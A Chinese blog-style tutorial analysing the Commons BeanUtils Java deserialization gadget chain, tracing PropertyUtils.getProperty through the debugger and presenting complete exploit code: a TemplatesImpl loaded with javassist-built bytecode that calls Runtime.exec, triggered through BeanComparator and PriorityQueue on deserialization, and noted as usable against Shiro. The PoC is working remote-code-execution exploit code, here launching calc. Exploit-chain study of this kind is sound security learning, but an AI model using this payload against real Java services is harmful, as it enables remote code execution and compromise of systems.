参考文章

最近就是想把不会的链子都跟一遍,现在就先打cb链入手

全称(Apache Commons BeanUtils)

这个链子还可以用来打shiro无依赖的链子

这个类可以任意触发gettersetter方法

环境搭建

1
2
3
4
5
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>

img

链子分析

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

import static com.sun.xml.internal.ws.policy.sourcemodel.wspolicy.XmlToken.Name;

public class person
{
public String name = "catalina";

public void setName(String name)
{
this.name = name;
}

public String getName()
{
return name;
}

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException
{
person person1 = new person();
System.out.println(PropertyUtils.getProperty(person1, "name"));
}
}

image-20230618182435313

成功触发

先打个断点

image-20230618182504133

跟进getProperty

image-20230618182536490

接着跟进getProperty

image-20230618182605765

然后跟进getNestedProperty

image-20230618183006965

(前面的判断是判断bean是否是Map的实例和name是否被映射或索引了)

然后全不是

然后跟进getSimpleProperty

image-20230618183254070

image-20230618183329271

然后经过这个getPropertyDescriptor方法

可以看到,我们传入的是 name ,这里返回 Bean 属性值是 Name ,并且 set 方法与 get 方法都是 setName , getName ,这是 JavaBean 的命名格式,会将传进来的小写首字母大写

(这是一种特性 不能直接传大写的属性 这样的会报错)

image-20230618183809387

接着跟进这个invokeMethod方法

image-20230618183841914

最后就会在这个进行调用

结束

这就是cb链调用任意getter的流程

这里注意的一点就是

image-20230618184101138

在传参的时候,虽然函数名是大写的Name,我们也不能直接传大写的(这是java bean的特性) 他会在触发invoke的途中帮我们修改过来

这就是他调用任意getter的过程

那么我们可以猜想到哪条链子可以配这cb链来使用呢

这里的话刚好有个类可以办到

TemplatesImpl类->调用恶意类 就是这个类,最后会调用动态类加载来执行恶意代码

1
2
3
4
5
TemplatesImpl-->getOutputProperties()
TemplatesImpl-->newTransformer()
TemplatesImpl-->getTransletInstance()
TemplatesImpl-->defineTransletClasses()
TemplatesImpl-->defineClass()

这里的getOutputProperties()刚好可以通过cb链来触发

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class exp {

public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}

public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}

public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");

byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());

System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));

}
}

image-20230618195517461

成功执行

注意因为之前说的 JavaBean 特性, OutputProperties 首字母要小写

接下来我们就得想办法看谁能触发这个了PropertyUtils.getProperty

BeanComparator.compare 这个类刚好可以办到

image-20230618200112993

并且this.property这个属性的值还可控

image-20230618200225030

image-20230618200323289

那么最后一步就差个反序列化readobject()入口

就是找哪个类的readobject()方法能触发这个compare方法了

最后在以前的cc4利用链找到了

image-20230618200609016

刚好在PriorityQueue这个类里的readobject()方法可以触发compare方法

image-20230618201614588

并且这个comparator可控,所以传参为BeanComparator就行了

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class person {

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}

public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}

public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");

byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());

// System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));

BeanComparator outputProperties = new BeanComparator("outputProperties");
// outputProperties.compare(templates,new TemplatesImpl());

TransformingComparator ioTransformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);
//这里是先给一个没啥用的comparator,为了避免在add的时候会执行

priorityQueue.add(templates);
priorityQueue.add(1);
//给queue数组传值
setValue(priorityQueue, "comparator", outputProperties);

serialize(priorityQueue);
unserialize("ser.bin");

}
}

image-20230618210616955

这里的解释一下为啥要给priorityQueuecomparator二次赋值

因为在第二次add的时候

image-20230618210749196

会调用到add里的offer方法里的siftUp方法

image-20230618210902066

继续跟进,因为comparator不为空

所以跟进这个方法

image-20230618210920053

刚好,这也可以触发 所以为了避免这个问题 我们就在序列化的时候执行到这的时候先给一个没用的值,等这里执行结束的在利用反射重新赋值

image-20230618211221232

最后就是在这里来触发了

结束